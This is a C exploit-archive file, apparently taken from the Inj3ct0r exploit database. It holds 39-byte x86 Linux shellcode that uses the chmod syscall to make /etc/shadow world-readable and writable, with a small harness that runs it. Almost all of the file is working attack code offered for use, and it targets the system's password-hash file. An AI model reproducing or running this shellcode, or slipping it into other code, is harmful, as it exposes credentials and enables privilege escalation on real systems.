59 lines
No EOL
2.7 KiB
C
59 lines
No EOL
2.7 KiB
C
/*
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1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
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0 _ __ __ __ 1
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1 /' \ __ /'__`\ /\ \__ /'__`\ 0
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0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
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1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
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0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
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1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
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0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
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1 \ \____/ >> Exploit database separated by exploit 0
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0 \/___/ type (local, remote, DoS, etc.) 1
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1 1
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0 [+] Site : Inj3ct0r.com 0
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1 [+] Support e-mail : submit[at]inj3ct0r.com 1
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0 0
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1 ######################################### 1
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0 I'm gunslinger_ member from Inj3ct0r Team 1
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1 ######################################### 0
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0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
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/*
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Title : change mode 0777 of "/etc/shadow" with sys_chmod syscall
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Name : 39 bytes sys_chmod("/etc/shadow",599) x86 linux shellcode
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Date : jun, 1 2010
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Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
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Web : devilzc0de.com
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blog : gunslingerc0de.wordpress.com
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tested on : linux debian
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*/
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#include <stdio.h>
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char *shellcode=
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"\xeb\x15" /* jmp 0x8048077 */
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"\x31\xc0" /* xor %eax,%eax */
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"\xb0\x0f" /* mov $0xf,%al */
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"\x5b" /* pop %ebx */
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"\x31\xc9" /* xor %ecx,%ecx */
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"\x66\xb9\xff\x01" /* mov $0x1ff,%cx */
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"\xcd\x80" /* int $0x80 */
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"\x31\xc0" /* xor %eax,%eax */
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"\xb0\x01" /* mov $0x1,%al */
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"\x31\xdb" /* xor %ebx,%ebx */
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"\xcd\x80" /* int $0x80 */
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"\xe8\xe6\xff\xff\xff" /* call 0x8048062 */
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"\x2f" /* das */
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"\x65" /* gs */
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"\x74\x63" /* je 0x80480e3 */
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"\x2f" /* das */
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"\x73\x68" /* jae 0x80480eb */
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"\x61" /* popa */
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"\x64\x6f" /* outsl %fs "(%esi),(%dx) */
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"\x77"; /* .byte 0x77 */
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int main(void)
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{
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fprintf(stdout,"Length: %d\n",strlen(shellcode));
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((void (*)(void)) shellcode)();
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return 0;
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} |